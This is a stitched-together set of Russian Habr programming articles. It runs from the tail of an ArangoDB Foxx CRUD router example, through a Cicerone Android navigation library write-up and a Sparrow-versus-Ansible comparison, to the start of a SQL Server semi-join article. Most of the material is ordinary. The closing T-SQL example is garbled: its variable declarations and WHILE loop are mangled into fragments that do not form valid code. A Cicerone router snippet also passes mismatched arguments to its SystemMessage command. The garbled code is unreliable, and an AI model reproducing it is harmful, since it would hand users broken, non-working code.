const ARANGO_DUPLICATE = errors.ERROR_ARANGO_UNIQUE_CONSTRAINT_VIOLATED.code;
const ARANGO_CONFLICT = errors.ERROR_ARANGO_CONFLICT.code;
const HTTP_NOT_FOUND = status('not found');
const HTTP_CONFLICT = status('conflict');
const router = createRouter();
module.exports = router;
router.tag('cat');
router.post(function (req, res) {
const cat = req.body;
let meta;
try {
meta = cats.save(cat);
} catch (e) {
if (e.isArangoError && e.errorNum === ARANGO_DUPLICATE) {
throw httpError(HTTP_CONFLICT, e.message);
}
throw e;
}
Object.assign(cat, meta);
res.status(201);
res.set('location', req.makeAbsolute(
req.reverse('detail', {key: cat._key})
));
res.send(cat);
}, 'create')
.body(Cat, 'The cat to create.')
.response(201, Cat, 'The created cat.')
.error(HTTP_CONFLICT, 'The cat already exists.')
.summary('Create a new cat')
.description(dd`
Creates a new cat from the request body and
returns the saved document.
`);
```
Как валидация так и документирование, основаны на использовании схемы объекта. Внесем в нее небольшие изменения, добавив поле name:
```
'use strict';
const _ = require('lodash');
const joi = require('joi');
module.exports = {
schema: {
// Describe the attributes with joi here
_key: joi.string(),
name: joi.string().description('cat`s name'), // добавили новое поле
},
forClient(obj) {
// Implement outgoing transformations here
obj = _.omit(obj, ['_id', '_rev', '_oldRev']);
return obj;
},
fromClient(obj) {
// Implement incoming transformations here
return obj;
}
};
```
Перейдя в закладку API, можно убедиться, что схема поменялась и теперь объект с полем name можно добавить в коллекцию cats.
apapacy@gmail.com
12 ноября 2018 года. | https://habr.com/ru/post/429532/ | null | ru | null |
# Cicerone — простая навигация в Андроид приложении
На этой схеме не скелет древнего обитателя водных глубин и не схема метро какого-то мегаполиса, это карта переходов по экранам вполне реального Андроид приложения! Но, несмотря на сложность, нам удалось её удачно реализовать, а решение оформить в виде небольшой библиотеки, о которой и пойдет речь в статье.
Чтобы заранее избежать вопросов о названии, уточню: Cicerone (*"чи-че-ро́-не"*) – устаревшее слово с итальянскими корнями, со значением «гид для иностранцев».
В наших проектах мы стараемся придерживаться архитектурных подходов, которые позволяют отделить логику от отображения.
Так как я в этом плане предпочитаю MVP, то далее по тексту будет часто встречаться слово «презентер», но хочу отметить, что представленное решение никак не ограничивает вас в выборе архитектуры (можно даже использовать в классическом подходе «все во Fragment’ах», и даже в этом случае Cicerone даст свой профит!).
Навигация – это скорее бизнес-логика, поэтому ответственность за переходы я предпочитаю возлагать на презентер. Но в Андроиде не все так гладко: для осуществления переходов между Activity, переключения Fragment’ов или смены View внутри контейнера
1. не обойтись без зависимости от Context’a, который не хочется передавать в слой логики, связывая тем самым его с платформой, **усложняя тестирование** и **рискуя получить утечки памяти** (если забыть очистить ссылку);
2. надо учитывать жизненный цикл контейнера (например, *java.lang.IllegalStateException: Can not perform this action after onSaveInstanceState* у Fragment’ов).
Поэтому и появилось решение, реализованное в Cicerone.
Начать, думаю, стоит со структуры.
Структура
---------
На схеме есть четыре сущности:
* Command – это простейшая команда перехода, которую выполняет Navigator.
* Navigator – непосредственная реализация «переключения экранов» внутри контейнера.
* Router – это класс, который превращает высокоуровневые вызовы навигации презентера в набор Command.
* CommandBuffer – отвечает за сохранность вызванных команд навигации, если в момент их вызова нет возможности осуществить переход.
Теперь о каждой подробнее.
Команды переходов
-----------------
Мы заметили, что любую карту переходов (даже достаточно сложную, как на первом изображении) можно реализовать, используя четыре базовых перехода, комбинируя которые, мы получим необходимое поведение.
### Forward
*Forward (String screenKey, Object transitionData)* – команда, которая осуществляет переход на новый экран, добавляя его в текущую цепочку экранов.
*screenKey* – уникальный ключ, для каждого экрана.
*transitionData* – данные, необходимые новому экрану.
Буквой R обозначен корневой экран, его особенность только в том, что при выходе с этого экрана, мы выйдем из приложения.
### Back
*Back()* – команда, удаляющая последний активный экран из цепочки, и возвращающая на предыдущий. При вызове на корневом экране ожидается выход из приложения.
### BackTo
*BackTo(String screenKey)* – команда, позволяющая вернуться на любой из экранов в цепочке, достаточно указать его ключ. Если в цепочке два экрана с одинаковым ключом, то выбран будет последний (самый «правый»).
Стоит отметить, что если указанный экран не найден, либо в параметр ключа передать null, то будет осуществлен переход на корневой экран.
> На практике эта команда очень удобна. Например, для авторизации: два экрана. Телефон -> СМС, а потом выход на тот, с которого была запущена авторизация.
### Replace
*Replace (String screenKey, Object transitionData)* – команда, заменяющая активный экран на новый.
Кто-то может возразить, что этого результата удастся достичь, вызвав подряд команды Back и Forward, но тогда на корневом экране мы выйдем из приложения!
Вот и всё! Этих четырёх команд на практике достаточно для построения любых переходов. Но есть ещё одна команда, которая не относится к навигации, однако очень полезна на практике.
### SystemMessage
*SystemMessage (String message)* – команда, отображающая системное сообщение (Alert, Toast, Snack и т. д.).
Иногда необходимо выйти с экрана и показать сообщение пользователю. *Например, что мы сохранили сделанные изменения.* Но экран, на который мы возвращаемся, не должен знать о чужой логике, и поэтому мы вынесли показ таких сообщений в отдельную команду. Это очень удобно!
> Все команды отмечены интерфейсом-маркером Command. Если вам по какой-то причине понадобилась новая команда, просто создайте её, никаких ограничений!
Navigator
---------
Команды сами по себе не реализуют переключение экранов, а только описывают эти переходы. За их выполнение отвечает Navigator.
```
public interface Navigator {
void applyCommand(Command command);
}
```
В зависимости от задачи, Navigator будет реализован по-разному, но он всегда будет там, где находится контейнер для переключаемых экранов.
* В Activity для переключения Fragment’ов.
* Во Fragment’е для переключения вложенных (child) Fragment’ов.
* … ваш вариант.
Так как в подавляющем большинстве Андроид приложений навигация опирается на переключение Fragment’ов внутри Activity, чтобы не писать однотипный код, в библиотеке уже есть готовый FragmentNavigator (и SupportFragmentNavigator для SupportFragment’ов), реализующий представленные команды.
Достаточно:
1) передать в конструктор ID контейнера и FragmentManager;
2) реализовать методы выхода из приложения и отображения системного сообщения;
3) реализовать создание Fragment’ов по screenKey.
> За более подробным примером советую заглянуть в Sample-приложение.
В приложении необязательно должен быть один Navigator. Пример (тоже реальный, кстати): в Activity есть BottomBar, который доступен для пользователя ВСЕГДА. Но в каждом табе есть собственная навигация, которая сохраняется при переключении табов в BottomBar’е.
> Решается это одним навигатором внутри Activity, который переключает табы, и локальными навигаторами внутри каждого Fragment’а-таба.
>
> Таким образом, каждый отдельный презентер не завязан на то, где он находится: внутри цепочки одного из табов или в отдельном Activity. Достаточно предоставить ему правильный Router. **Один Router связан только с одним Navigator’ом в любой момент времени.** Об этом чуть дальше.
Router
------
Как было сказано выше, **комбинируя команды**, можно реализовать любой переход. Именно этой задачей и занимается Router.
Например, если стоит задача по некоторому событию в презентере:
1) скинуть всю цепочку до корневого экрана;
2) заменить корневой экран на новый;
3) и еще показать системное сообщение;
то в Router добавляется метод, который передает последовательность из трёх команд на выполнение в CommandBuffer:
```
public void navigateToNewRootWithMessage(String screenKey,
Object data,
String message) {
executeCommand(new BackTo(null));
executeCommand(new Replace(screenKey, data));
executeCommand(new SystemMessage(screenKey, data));
}
```
> Если бы презентер сам вызывал эти методы, то после первой команды BackTo(), он был бы уничтожен (не совсем так, но суть передаёт) и не завершил работу корректно.
В библиотеке есть готовый Router, используемый по-умолчанию, с самыми необходимыми переходами, но как и с навигатором, никто не запрещает создать свою реализацию.
*navigateTo()* – переход на новый экран.
*newScreenChain()* – сброс цепочки до корневого экрана и открытие одного нового.
*newRootScreen()* – сброс цепочки и замена корневого экрана.
*replaceScreen()* – замена текущего экрана.
*backTo()* – возврат на любой экран в цепочке.
*exit()* – выход с экрана.
*exitWithMessage()* – выход с экрана + отображение сообщения.
*showSystemMessage()* – отображение системного сообщения.
CommandBuffer
-------------
CommandBuffer – класс, который отвечает за доставку команд навигации Navigator’у. Логично, что ссылка на экземпляр навигатора хранится в CommandBuffer’е. Она попадает туда через интерфейс NavigatorHolder:
```
public interface NavigatorHolder {
void setNavigator(Navigator navigator);
void removeNavigator();
}
```
Кроме того, если в CommandBuffer поступят команды, а в данный момент он не содержит Navigator’а, то они сохранятся в очереди, и будут выполнены сразу при установке нового Navigator’а. Именно благодаря CommandBuffer’у удалось решить все проблемы жизненного цикла.
Конкретный пример для Activity:
```
@Override
protected void onResume() {
super.onResume();
SampleApplication.INSTANCE.getNavigatorHolder().setNavigator(navigator);
}
@Override
protected void onPause() {
SampleApplication.INSTANCE.getNavigatorHolder().removeNavigator();
super.onPause();
}
```
> Почему именно onResume и onPause? Для безопасной транзакции Fragment’ов и отображения системного сообщения в виде алерта.
От теории к практике. Как использовать Cicerone?
------------------------------------------------
Предположим, мы хотим реализовать навигацию на Fragment’ах в MainActivity:
Добавляем зависимость в build.gradle
```
repositories {
maven {
url 'https://dl.bintray.com/terrakok/terramaven/'
}
}
dependencies {
//Cicerone
compile 'ru.terrakok.cicerone:cicerone:1.0'
}
```
В классе SampleApplication инициализируем готовый роутер
```
public class SampleApplication extends Application {
public static SampleApplication INSTANCE;
private Cicerone cicerone;
@Override
public void onCreate() {
super.onCreate();
INSTANCE = this;
cicerone = Cicerone.create();
}
public NavigatorHolder getNavigatorHolder() {
return cicerone.getNavigatorHolder();
}
public Router getRouter() {
return cicerone.getRouter();
}
}
```
В MainActivity создаем навигатор:
```
private Navigator navigator = new SupportFragmentNavigator(getSupportFragmentManager(),
R.id.main_container) {
@Override
protected Fragment createFragment(String screenKey, Object data) {
switch(screenKey) {
case LIST_SCREEN:
return ListFragment.getNewInstance(data);
case DETAILS_SCREEN:
return DetailsFragment.getNewInstance(data);
default:
throw new RuntimeException(“Unknown screen key!”);
}
}
@Override
protected void showSystemMessage(String message) {
Toast.makeText(MainActivity.this, message, Toast.LENGTH_SHORT).show();
}
@Override
protected void exit() {
finish();
}
};
@Override
protected void onResume() {
super.onResume();
SampleApplication.INSTANCE.getNavigatorHolder().setNavigator(navigator);
}
@Override
protected void onPause() {
super.onPause();
SampleApplication.INSTANCE.getNavigatorHolder().removeNavigator();
}
```
Теперь из любого места приложения (в идеале из презентера) можно вызывать методы роутера:
```
SampleApplication.INSTANCE.getRouter().backTo(...);
```
Частные случаи и их решение
---------------------------
### Single Activity?
Нет! Но Activity я не рассматриваю как экраны, только как контейнеры. Смотрите: Router создан в классе Application, поэтому при переходе с одного Activity на другое, просто будет меняться активный навигатор, поэтому вполне можно делить приложение на независимые Activity, внутри которых будут уже переключения экранов. Конечно, стоит понимать, что цепочки экранов в таком случае будут привязаны к отдельным Activity, и команда BackTo() сработает только в контексте одного Activity.
### Вложенная навигация
Я выше приводил пример, но повторюсь снова:
Есть Activity с табами. Стоит задача, чтобы внутри каждого таба была независимая цепочка экранов, сохраняющаяся при смене таба.
Решается это двумя типами навигации: глобальной и локальной.
*GlobalRouter* – роутер приложения, связанный с навигатором Activity.
Презентер, обрабатывающий клики по табам, вызывает команды у GlobalRouter.
*LocalRouter* – роутеры внутри каждого Fragment’а-контейнера. Навигатор для LocalRouter'а реализует сам Fragment-контейнер.
Презентеры, относящиеся к локальным цепочкам внутри табов, получают для навигации LocalRouter.
Где связь? Во Fragment’ах-контейнерах есть доступ и к глобальному навигатору! В момент, когда локальная цепочка внутри таба закончилась и вызвана команда Back(), то Fragment передает её в глобальный навигатор.
> Совет: для настройки зависимостей между компонентами, используйте Dagger 2, а для управления их жизненным циклом – его CustomScopes.
### А что с системной кнопкой Back?
Этот вопрос специально не решается в библиотеке. Нажатие на кнопку Back надо воспринимать как взаимодействие пользователя и передавать просто как событие в презентер.
### Но есть ведь Flow или Conductor?
Мы смотрели другие решения, но отказались от них, так как одной из главных задач было использовать максимально стандартный подход и не создавать очередной фреймворк со своим FragmentManager’ом и BackStack’ом.
Во-первых, это позволит новым разработчикам быстро подключаться к проекту без необходимости изучения сторонних фреймворков.
Во-вторых, не придется всецело полагаться на сложные сторонние решения, что чревато затрудненной поддержкой.
Итог
----
Библиотека Cicerone:
* не завязана на Fragment’ы;
* не фреймворк;
* предоставляет короткие вызовы;
* легка в расширении;
* приспособлена для тестов;
* **не зависит от жизненного цикла!**
GitHub
------
[Cicerone is a lightweight library that makes the navigation in an Android app easy.](https://github.com/terrakok/Cicerone)
 | https://habr.com/ru/post/314838/ | null | ru | null |
# Sparrow плагины и Ansible модули — сравнительный анализ
Введение
========
[Ansible](https://www.ansible.com/) модули и [sparrow](https://github.com/melezhik/sparrow) плагины представляют собой строительные блоки для решения простейших задач из области configuration management и автоматизации деплоя. Ansible модули пользуются в более высокоуровневых сценариях — плейбуках, написанных на языке YAML, в то время как sparrow плгагины аналогичным образом встраиваются в [sparrowdo](https://sparrowdo.wordpress.com/) сценарии написанные на языке [Perl6](http://perl6.org/).
Данная статья — *вольный* авторский перевод собственного [оригинала](https://sparrowdo.wordpress.com/2017/01/20/sparrow-plugins-vs-ansible-modules/) с английского.
Поддержка языков разработки
===========================
*ansible* — вы можете выбрать фактически любой язык разработки для написания модулей.
"Из коробки" ansible предоставляет продвинутый API для Python ( т.н. shortcuts ). При разработке модулей на других языках вы должны будете использовать вспомогательные библиотеки ( нативные для каждого языка ) для упрощения процесса разработки и интеграции в ansible.
*sparrow* — у вас есть на выбор одни из трех (\*) языков — Perl5, Bash или Ruby. Для разработчика плагинов sparrow предоставляет унифицированный API ( доступный для любого из трех языков ), так же, как и в случае с ansible упрощающий процесс разработки и интеграции плагинов в систему sparrow. Данный API предоставляет только базовые возможности и не такой продвинутый как API ansible для Python.
(\*) в ближайшее время планируется добавление поддержки Python.
Дизайн
======
*ansible* — ansible модули — автономные блоки программного когда ( скрипты ) для решениях элементарных задач. Ansible модули не могу зависеть или вызывать другие ansible модули.
*sparrow* — sparrow плагины аналогично ansible модулям — автономные, закрытые блоки кода для решения элементарных задач. Однако sparrow предоставляет дополнительную степень свободы на данном уровне разработки. Sparrow плагины представляют собой наборы (suites) скриптов. Одни скрипты могут вызывать другие, передавая им параметры. Подобного рода дизайн позволяет разбивать любую задачу на скрипты, взаимодействующие друг с другом. В качестве примера можно рассмотреть простой случай — установка и удаление пакетов ПО. Мы можем смотреть на эту задачу как на единый блок кода (скрипт), но при реализации разбить все на два скрипта: один для установки пакетов, другой — для удаления. Так же можно ввести третий скрипт, который будет разбирать входные параметры и делать диспетчеризацию вызовов (\*). Такой подход подробно писан в статье [Эволюция sparrow плагинов](https://sparrowdo.wordpress.com/2017/01/16/sparrow-plugins-evolution/).
(\*) На самом деле так реализован плагин [package-generic](https://sparrowhub.org/info/package-generic).
Вот простая иллюстрация всего сказанного:
Интеграция в инструмент управления конфигурациями
=================================================
*ansible* — ansible модули составная часть более высокоуровневых сценариев конфигурирования — ansible [плейбуков](http://docs.ansible.com/ansible/playbooks.html). ansible плейбук — написанный на [YAML](https://ru.wikipedia.org/wiki/YAML) сценарий, декларирующий вызов ansible модулей с некоторыми заданными параметрами. Такая конструкция в ansible называется задачей.
*sparrow* — подобно ansible модулям sparrow плагины являются составной частью
более общей системы — [sparrowdo](https://github.com/melezhik/sparrowdo#plugins-dsl) сценариев, написанных на языке Perl6. Подобно ansible — sparrowdo — система управления конфигурациями, но построенная на sparrow плагинах. Sparrow плагины вызываются с параметрами внутри sparowdo сценариев.
Интерфейс конечного пользователя
================================
*ansible* — ansible модули, как уже было сказано, вызываются посредством YAML DSL кода, декларирующего запуск модулей с передаваемыми параметрами. Это происходит в плейбуках. Возможен вариант запуска модулей консольным скриптом с параметрами передаваемыми как аргументы командной строки.
Ниже приведен пример кода ansible плейбука для установки web сервера httpd посредством менеджера пакетов yum ( одноименный ansible модуль ):
```
$ cat playbook.yml
---
- hosts: webservers
tasks:
- name: ensure apache is at the latest version
yum: name=httpd state=latest
```
*sparrow* — sparrow плагины вызываются внутри sparrowdo сценариев с помощью Perl6 API. Параметры плагинов передаются в виде Perl6 хэшей. Вы также можете использовать [консольный клиент](https://github.com/melezhik/outthentic#story-runner) для запуска плагинов "как есть", минуя sparrowdo ( похожим образом как вы это можете делать ansible модули ). Это может быть удобно при разработке и отладке плагинов. В таком режиме запуска у вас появляется множество дополнительных возможностей по передачи входных параметров — командная строка, форматы JSON/YAML и [Config::General](https://metacpan.org/pod/Config::General)
Далее приведен эквивалент предыдущего ansible плейбука для установки web сервера httpd. Приведены два варианты кода ( core-dsl и plugin API ) sparrowdo сценария:
```
$ cat sparrowfile
# core-dsl API более лаконичный, потому что он предоставляет
# высокоуровневые "обертки" для вызова плагинов
# но он реализован только для ограниченного набора плагинов
package-install 'httpd';
# однако, если у вас нет реализации через core-dsl
# вы всегда можете вызывать любой плагин,
# используя plugin API
# что тоже не очень сложно:
task-run 'ensure apache is at the latest version', 'package-generic', %(
list => 'httpd'
);
```
Передача и обработка входных параметров
=======================================
*ansible* — входные параметры модуля передаются ввиде пар *ключ=значение*(\*), в общем случае, при разработке модуля вы должны обеспечить парсинг параметров с целью "выделения" данных и их присваивание соответствующим переменным, с целю дальнейшего использования в коде модуля. Под разные языки разработки существуют многочисленные "хелперы", решающие эту задачу.
(\*) Возможен вариант передачи вложенных структур данных.
Также как уже говорилось ansible предоставляет высокоуровневый API для Python, называемый в документации по ansible — shortcuts. Данный API позволяет автоматически парсить входные параметры, генерить аксессоры, определять типы входных параметров и делать их проверку, определять дефолтные значения и тому подобное.
Ниже приведен кусочек anible модуля, реализующий разбор входных параметров с помощью Python ansible API:
```
$ cat library/greetings.py
from ansible.module_utils.basic import *
def main():
fields = { "message": {"default": "Hi!", "type": "str" } }
module = ansibleModule(argument_spec=fields)
module.params['message']
# some other code here to return results
if __name__ == '__main__':
main()
```
*sparrow* — sparrow реализует унифицированный API ( доступный для любого из языков разработки ) для обработки входных параметров плагина, так что вам не приходится парсить данные вручную.
Таким образом, вне зависимости от языка, на котором вы разрабатываете плагин, вы получаете
"из коробки" API для доступа к входным данным фактически не написав ни строчки вспомогательного кода.
Также существует возможность определять дефолтные значения для параметров, в случае если последние не будут заданы явно.
Встроенная типизация и проверка параметров, как в случае с ansible Python API отсутствует.
Ниже приведен эквивалент упомянутого ansible кода, разбирающего входные параметры. В качества языка реализации плагина выбран Bash(\*)
(\*) что бы показать как даже на таком далеко не самом высокоуровневом языке разработки можно легко писать sparrow плагины, "не утыкаясь" в обработку входных параметров:
```
# это скрипт плагина
$ cat story.bash
message=$(config message)
# это параметры по умолчанию:
$ cat story.ini
message = Hi!
```
А вот как можно с помощью того же Bash разбирать вложенные входные параметры:
```
# вызов плагина в sparrowdo сценарии
$ cat sparrowfile
task-run "run my task", 'foo-plugin', %(
foo => {
bar => {
baz => 'BAZ'
}
}
);
# код плагина на Bash
# доступ к входным параметрам:
$ cat story.bash
baz=$(config foo.bar.baz)
```
Возвращаемые значения
=====================
*ansible* — ansible модули всегда возвращают результат в виде JSON строки. Причем сам JSON должен иметь специальную структуру. Подробнее об этом можно почитать на страницах [документации](https://metacpan.org/pod/Config::General) ansible по разработке модулей.
Но вот, что хочется отметить насчет процесса возврата значений из ansible модулей:
* код завершения ( скрипта реализующего молудь ) ansible модулей игнорируется
* единственным требованием по возврату из модуля — наличие в STDOUT строки в формате JSON. Структура JSON ответа также должна соответствовать определенным требованиям.
* таким образом, если в ответе от модуля мы не получаем *валидный* JSON это расценивается как ошибка
* STDOUT/STDERR, генерируемый модулем не виден (\*) в выводе плейбука
(\*) — при определенных условиях или написав дополнительный код это вывод все же можно получить, но здесь я говорю о поведении *по умолчанию*
* Для того, что бы модуль вернул какое-либо значение, оно должно быть представлено в виде поля JSON структуры, которую необходимо вернуть в STDOUT
Приведу пример с модулем currenttime для возвращения текущего времени:
```
$ cat library/currentime.py
import datetime
import json
date = str(datetime.datetime.now())
print json.dumps({
"time" : date
})
```
*sparrow* — sparrow плагины, в отличие от ansible модулей могут возвращать все что угодно, sparrow не как не регламентирует возвращаемые плагином данные. ( Однако смотрите следующие секцию — "Обработка выходных данных").
Вот что важно знать о выходных данных с точки зрения sparrow:
* код завершения плагина ( результирующий, т.к. в случае со sparrow мы можем иметь дело не с одним скриптом, а с с несколькими ) имеет значение. Если он ненулевой — это трактуется как ошибка выполнения плагина
* STDOUT, генерируемый плагином просто передается далее и виден в результирующем выводе. Никаких "перепаковываний" или фильтрации результатов, как в случае с ansible не происходит. Мы всегда видим вывод как есть, как если бы мы просто запустили аналогичный скрипт с консоли
Далее я приведу эквивалент предыдущего ansible модуля для вывода текущего времени. Будет на этот раз при написании плагина использовать Perl5, в силу всего сказано код плагина получится тривиальным:
```
# скрипт плагина
$ cat story.pl
print scalar localtime;
```
Обработка выходных данных
=========================
*ansible* — ansible модули всегда должны возвращать JSON, поэтому очень легко имея на выходе структурированные данные превратить их в переменные и обработать где-то "выше", на самом деле в ansible плейбуках. Хотя это и достаточно мощная фича, ее ценность в системах управления конфигурациями лично для меня является спорной. Дело в том, что к моменту (\*) выполнения списка задач на целевом сервер все уже должно быть определенно в виде статического, детерминированном списка, любая попытка добавить ветвление и динамику в таком уже сформированном списке только усложняет, а не упрощает решение общей задачи — конвергенции сервера к заданному виду.
(\*) здесь важно понимать, что я как раз не против динамической генерации подобных списков задач или ресурсов, как раз здесь императивный подход вполне уместен, как это происходит в случае с chef или sparrowdo. Но возможно, я не так хорошо знаю ansible что бы рассуждать каким образом данные, возвращаемые модулями используются далее в плейбуках.
Вот пример простого модуля, который просто возвращает переданный ему входной параметр, который далее "регистрируется" в плейбуке и выводится в консоль:
```
$ cat playbook.yml
- hosts: localhost
tasks:
- name: tell me what I say
echo:
message: "hi there!"
register: result
- debug: var=result
$ cat library/echo.py
from ansible.module_utils.basic import *
def main():
module = ansibleModule(argument_spec={})
response = {"you_said": module.params['message']}
module.exit_json(changed=True, meta=response)
if __name__ == '__main__':
main()
```
*sparrow* — как уже было сказано, sparrow "все равно" что плагин сообщает в STDOUT, нет никакой возможности использовать эти данные далее. На самом деле это не совсем так.
С точки зрения того, что эти данные *никак не будут обработаны далее* — это правда, но вы имеет возможность определить *проверочные правила* с помощью которых можно верифицировать вывод скрипта. Такое своего рода встроенное тестирование — характерная фича sparrow плагинов. Проверочные правила прописываются в виде конструкций языка [Outthentic::DSL](https://github.com/melezhik/outthentic-dsl) и позволяют делать различные текстовые проверки — соответствие текста различным регулярным выражением, работа с отдельными кусками текста, которые соответствуют нашим выражениям ( т.н. captures ) и многое другое. Обо всем этом можно почитать на страницах документации Outthenic::DSL.
Если верификация не пройдена это трактуется ( наряду с ненулевым кодом завершения ), как ошибка выполнения плагина.
Таким образом написание подобного рода "самотестирующихся" скриптов позволяет писать плагины не только для задач из области configuration management, но для задач тестирования, мониторинга и аудита.
Сложно построить аналогию с предыдущим ansible модулем, в силу всего сказанного, но
вот что-то приближенно "похожее", что можно сделать в sparrow. Передать плагину параметр, вывести его в STDOUT и написать проверочное правило, что бы убедится что на выходе именно то, что было на входе:
```
# вызов плагина в сценарии sparrowdo
$ cat sparrowfile
run-task "tell me what I say", "echo", %( message => 'hi there!' )
# реализация плагина и проверочного правила
$ cat story.bash
echo you said $(config message)
```
$ cat story.check
generator: config()->{message}
Процесс установки
=================
*ansible* — больш*о*е количество ansible поставляются как часть ansible, они готовы к использования, вам нет необходимости каким-то особенным образом устанавливать их. Так же пользователи пишут так называемые custom модули и как правило сохраняют в какой-либо системе контроля версий — Git/Svn ( например в github или gitlab ). Далее модули *в виде* обычных файлов чекаутятся на мастер сервер ( тот, с которого запускают ansible задачи по ssh на целевых серверах ), опять таки же в этом случае весть деплой сводится к обычному чекауту из системы контроля версий.
Итак, экосистема модулей включает в себя две большие подсистемы:
* Основной репозиторий ansible ( [main ansible repository](https://github.com/ansible/ansible/tree/devel/lib/ansible/modules) ) — модули, поставляемые вместе с ansible
* Пользовательские модули
Резюмируя можно сказать, что в ansible реализована push based схема деплоя, причем с отсутствием агента (agentless) на целевом сервере. Модули в виде файлов просто копируются на целевой сервер и уже там запускаются в виде скриптов.
Далее приводится графическая схема процесса депллоя пользовательских модулей ansible:
*sparrow* — в sparrow процесс деплоя немного другой. Хотя в целом там взята на вооружения та же push-based схема. Однако в случае со sparrow здесь присутствует агент ( или клиент, кому как удобнее ), который занимается установкой плагинов.
Итак, sparrow плагины не что иное как *упакованные* скрипты, распространяемые подобно классическим система дистрибуции пакетов ПО, таких как deb, rpm, CPAN,RubyGems.
sparrow предоставляет менеджер по установке данных плагинов, этот же менеджер используется для запуска плагинов. Менеджер должен быть предустановлен на целевом сервере, что бы все работало.
sparrowdo компилирует сценарии, размещенные на центральном (master) сервера в мета данные, которые в виде JSON файлов копируется по scp на целевые машины, далее на тех же целевых машинах менеджер, используя скопированные данные скачивает, устанавливает настраивает и, наконец, запускается sparrow плагины, результат возвращается обратно ( как и в случае с ansible ) ввиде ответа на центральный сервер.
Итак, важно понимать, что в отличие от ansible установка плагинов — это не просто копирование файлов на целевой сервер, т.к. в случае со sparrow копируются не сами плагины, а их мета информация, далее по мета информации происходит процесс фактического деплоймента.
sparrow плагины размещаются в центральном репозитарии sparrow плагинов — [sparrowHub](https://sparrowhub.org). Плагины имеют автора, версию, описание и документацию.
Вот как выглядит файл с мета информацией вышеупомянутого плагина [package-generic](https://sparrowhub.org/info/package-generic) для установки пакетов ПО:
```
{
"name" : "package-generic",
"version" : "0.2.16",
"description": "Generic package manager. Installs packages using OS specific package managers (yum,apt-get)",
"url" : "https://github.com/melezhik/package-generic"
}
```
В sparrow нет жесткого разделения на кастомные и "core" плагины. Любой плагин, загруженный в sparrowHub, становится тут же доступным пользователям системы, и, таким образом его можно использовать в sparrowdo сценариях.
По желанию пользователи могут размещать свои плагины на удаленных git репозитариях, в sparrow такие плагины называются частными (private), при этом данные плагины без труда могут быть использованы в ваших сценариях конфигурирования, наряду с плагинами со sparrowHub ( т.н. публичные плагины )
Далее приводится схема деплоймента плагинов в sparrow:
Зависимости
===========
*ansible* — в ansible нет возможности управлять зависимостями ПО на уровне модулей. Скорее всего ( я на так хорошо знаю ansible, я предполагаю ) это происходит уровнем выше — в плейбуках. Таким образом, если ваш модуль зависит от какой-то библиотеки вам необходимо позаботится о разрешение зависимостей где-то в другом месте, например, вызвав установку зависимостей в другом месте плейбука.
*sparrow* — sparrow предоставляет штатные возможности по управлению зависимостями (\*) на уровне sparrow плагина. Таким образом, если плагин зависит от каких-либо библиотек, вы можете *описать* данные зависимости прямо в плагине и менеджер плагинов позаботится о них
во время установки плагина. Пока управление зависимостями ограничивается модулями CPAN для Perl5 посредством файла [cpanfile](https://metacpan.org/pod/Carton) и модулями [RubyGems](http://bundler.io/) для Ruby посредством файла Gemfile.
(\*) — зависимости ограниченны пока CPAN для Perl5 и RubyGems для Ruby
Заключение
==========
ansible завоевал большую популярность не в последнюю очередь благодаря большому количеству готовых модулей. Однако на мой личный взгляд процесс разработки новых модулей имеет свои недостатки и сама архитектура не является хорошим решением для некоторых задач. Я нахожу отдельные фичи sparrow более привлекательными и интересными в сравнении с ansible. Это, конечно, IMHO :), перечислю некоторые моменты:
* Плейбуки *против* sparrowdo сценариев — sparrowdo предоставляет императивные возможности программирования конфигураций с помощью мощного и современно языка Perl6
В то время как в ansible вы ограничены возможностями чисто декларативного YAML.
* Скрипто-ориентированный дизайн — благодаря, ориентированной на использование скриптов схеме, sparrow поощряет разбиение задачи на отдельные куски и написание для каждого куска отдельного скрипта, причем сами скрипты органично взаимодействуют другом с другом, посредством, передаваемых ими другу другу параметров ( то что в sparrow называется [истории-модули](https://github.com/melezhik/outthentic#upstream-and-downstream-stories) ) В случае с ansible, вы, как правило ограниченны схемой один модуль = один скрипт. Конечно, и в случае с ansible вы можете писать в подобном стиле ( несколько скриптов в модуле ), но ansible, конечно же, by design не приспособлен для такого рода вещей.
Итак, в практическом смысле, часто при решение задач и написании рутинных скриптов мы разбиваем проблему на несколько частей и имеем набор скриптов, взаимодействующих друг с дргуом, так почему же не привнести этот подход и сюда?
* Жизненный цикл и управление модулями и плагинами — sparrow плагины еще более обособленны и отделены от самого инструмента управления конфигурациями. Как я уже говорил, sparrow плагины могу использоваться *без* sparrowdo. Де факто они разрабатываются, отлаживаются и хостятся и управляются вне рамок данной системы (sparrowdo) и используются в ней как черные ящики. Все это делает процесс разработки новых плагинов и их использования внутри sparrowdo еще более гибким и простым.
* Bash/Shell скриптование — sparrow предоставляет лучшую, по сравнению с ansible поддержку по интеграции обычных bash/shell скриптов. В силу того, что последний налагает ограничение на возвращаемые данные и не выводит по умолчанию потоки STDOUT/STDERR, в ряде случаев становится сложно отлаживать обычные bash скрипты или понимать *что* идет не так. В то время как sparrow фактически прозрачно транслирует весь вывод от скриптов обратно в отчет. Также играет немалую роль игнорирование в ansible кода завершения работы скрипта, где на плечи разработчика возлагается "переопределение" ошибка на уровне возвращаемого JSON. Sparrow же в этом случае просто генерирует ошибку, действуя в конвекционном стиле выполнения unix/linux команд.
* Программный API — sparrow предоставляет унифицированный интерфейс для всех языков разработки плагинов. Это значит, что фактически каждый язык из списка поддерживаемых "имеет одни и те же права" с точки зрения базового API предоставляемого системой. В то время, как модули ansible в большинстве своем пишутся на python, в силу того, что поддержка для данного языка наиболее полная ( ansible modules python API )
* Возможности тестирования — sparrow предоставляет встроенные возможности тестирования, позволяющее смотреть на этот инструмент как на универсальное средство автоматизации, которой можно использовать в том числе ( помимо перечисленных ) в задачах аудита, мониторинга и тестирования.
PS как всегда интересно услышать мнение читателя и его конструктивную критику. Традиционного опросника на этот раз не привожу, статья и так получилась объемной. | https://habr.com/ru/post/320220/ | null | ru | null |
# Semi-join Transformation
По материалам статьи Craig Freedman: [Semi-join Transformation](https://docs.microsoft.com/en-us/archive/blogs/craigfr/semi-join-transformation)
В предыдущих статьях я приводил примеры полу-соединений (semi-joins). Вспомним, что полу-соединение возвращает строку из таблицы, если для этой строки есть хотя бы одна совпадающая строка во второй таблице. Вот простой пример:
```
create table T1 (a int, b int)
create table T2 (a int, b int)
set nocount on
declare @i = 0@i int
set @i = 0
while @i =@ii + 1@ii,@ii)@i < 10000
begin
insert T1 values@i =@ii + 1@ii,@ii)
set @i =@ii + 1
end
set nocount on
declare @i = 0@i int
